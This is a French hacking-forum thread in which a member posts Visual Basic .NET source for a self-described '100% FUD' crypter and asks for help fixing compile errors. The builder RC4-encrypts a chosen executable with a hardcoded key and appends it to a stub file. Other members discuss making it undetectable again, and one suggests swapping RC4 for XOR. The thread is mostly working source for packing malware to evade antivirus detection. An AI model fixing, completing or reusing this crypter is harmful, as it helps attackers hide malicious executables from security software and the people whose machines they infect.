• Bienvenue à tous sur HackandModz !
  1. Ce site utilise des cookies. En continuant à utiliser ce site, vous acceptez l'utilisation des cookies. En savoir plus.
Rejeter la notice
Visiteur,
Bienvenue sur Hack & Modz

Question Je n'arrive a résoudre l'erreur de mon logiciel.

Discussion dans 'Aides & recherches' créé par MyYz, Oct 26, 2016.

  • 193 3
  • Tags:
    1. MyYz

      MyYz Membre
      33/52

      8
      1
      33

      Membre non noté

      0/5,
      Hors Ligne
      Salut,je n'arrive pas a résoudre mon erreur pour mon logiciel de cryptage quelqu'un pourrais me dire comment résoudre l'erreur.La première erreur et en rouge c'est l'erreur avec le petit logo erreur en dessou et la 2ème est en bleu c'est l'erreur qui et souligner en bleu mais sans le logo erreur en dessou.Pour plus d'explication venez en mp.J'espère que j'ai été claire dans mais explication ;).
      le code d'erreur de la première erreur est:
      Erreur 1 'RC4' n'est pas déclaré. Il peut être inaccessible en raison de son niveau de protection.
      Est la 2ème erreur est :
      Erreur 2 Instruction non valide dans un espace de noms.

      Imports System.Text

      Public Class Form1
      Const filesplit = "842679135"
      Dim fichier, icone As String
      Dim file As String



      Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
      MessageBox.Show("By:MyEzioModz")
      TextBox2.Text = "Open your file-Ouvrir un fichier"
      TextBox1.Text = "Change icone"
      End Sub

      Private Sub CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox2.CheckedChanged
      Button5.Text = "about"
      Button4.Text = "close:triste:"
      Button3.Text = "ENCRYPTS!!"
      Button2.Text = "Change icone"
      Button1.Text = "Open your file"
      CheckBox1.Text = "French"
      End Sub

      Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged
      Button5.Text = "A suivre"
      Button4.Text = "FERMER :triste:"
      Button3.Text = "CRYPTER!!!"
      Button2.Text = "Changer l'icone "
      Button1.Text = "Ouvrir un fichier"
      CheckBox1.Text = "Francais"
      End Sub

      Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
      MessageBox.Show("FRANCAIS:Ce crypteur 100%FUD a été codé par MyEzioModz se n'est pas une version definitive quand il ne s'aura plus 100%FUD je refrais une nouvelle version 100%FUD :) MERCI D'AVOIR TELECHARGER MyEzioCrypter!!! ENGLISH:This encrypt 100% FUD is done by encrypting the MyEzioModz will have another version It encrypts 100% FUD :) is done by encrypting the MyEzioModz Reviews another will-have release !!! ")
      End Sub

      Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
      Close()

      End Sub

      Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
      Dim x As New OpenFileDialog
      x.Filter = "Exécutables |*.exe"
      x.InitialDirectory = "/VotreDossier"
      x.Multiselect = False
      Button1.Enabled = True
      If x.ShowDialog = Windows.Forms.DialogResult.OK Then
      TextBox1.Text = x.FileName
      Else
      MsgBox("Ta ma mis en colère ta pas ouvert de fichier :triste: !")

      TextBox2.Text = "aucun fichier :triste: !"
      End If
      End Sub
      Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
      Dim openfdlg As New OpenFileDialog
      openfdlg.Filter = "Executables *.ico|*.ico"
      If openfdlg.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = openfdlg.FileName Else TextBox1.Text = ""
      End Sub


      Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
      ProgressBar1.Maximum = 25


      fichier = TextBox2.Text
      icone = TextBox1.Text
      Iconchanger.InjectIcon(fichier, icone)
      TextBox2.Clear()
      TextBox1.Clear()
      TextBox2.Text = "Open your file-Ouvrir un fichier"
      TextBox1.Text = "Change icone"
      Dim filein, filename, stub As String
      Dim sfd As New SaveFileDialog
      sfd.Filter = "Exécutables |*.exe "
      If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
      filename = sfd.FileName
      Else : Exit Sub
      End If
      FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read,
      OpenShare.Default)
      filein = Space(LOF(1))
      FileGet(1, filein)
      FileClose(1)
      FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary,
      OpenAccess.Read, OpenShare.Default)
      stub = Space(LOF(1))
      FileGet(1, stub)
      FileClose(1)
      FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite,
      OpenShare.Default)

      FilePut(1, stub & filesplit & RC4(filein, "123456789"))
      FileClose(1)

      ProgressBar1.Value = 25

      MessageBox.Show("Icone changer---Icon changed")
      MsgBox("Le fichier est crypté ! ")



      End Sub
      End Class


      Public Function RC4(ByVal message As String, ByVal password As String) As String
      Dim i As Integer = 0
      Dim j As Integer = 0
      Dim cipher As New StringBuilder
      Dim returnCipher As String = String.Empty
      Dim sbox As Integer() = New Integer(256) {}
      Dim key As Integer() = New Integer(256) {}
      Dim intLength As Integer = password.Length
      Dim a As Integer = 0
      While a <= 255
      Dim ctmp As Char = (password.Substring((a Mod intLength),
      1).ToCharArray()(0))
      key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
      sbox(a) = a
      System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
      End While
      Dim x As Integer = 0
      Dim b As Integer = 0
      While b <= 255
      x = (x + sbox(b) + key(b)) Mod 256
      Dim tempSwap As Integer = sbox(b)
      sbox(b) = sbox(x)
      sbox(x) = tempSwap
      System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
      End While
      a = 1
      While a <= message.Length
      Dim itmp As Integer = 0
      i = (i + 1) Mod 256
      j = (j + sbox(i)) Mod 256
      itmp = sbox(i)
      sbox(i) = sbox(j)
      sbox(j) = itmp
      Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
      Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
      itmp = Asc(ctmp)
      Dim cipherby As Integer = itmp Xor k
      cipher.Append(Chr(cipherby))
      System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
      End While
      returnCipher = cipher.ToString
      cipher.Length = 0
      Return returnCipher
      End Function



       
    2. Google AdSense Publicités Publicités

  • Hacktentiel123

    Hacktentiel123 Membre actif
    38/52

    66
    8
    38

    Membre non noté

    0/5,
    Hors Ligne
    je vois se que tu veut faire mais je genre de crypter n'est plus fud
     
  • MyYz

    MyYz Membre
    33/52

    8
    1
    33

    Membre non noté

    0/5,
    Hors Ligne
    je sais que c est plus fud c'est pour m entrainer et après je l'améliore pour le rendre fud.
     
  • Hacktentiel123

    Hacktentiel123 Membre actif
    38/52

    66
    8
    38

    Membre non noté

    0/5,
    Hors Ligne
    Je vois mais pour ton erreur essaye de changer l'encryption genre la c'est du RC4 tu change en XOR par example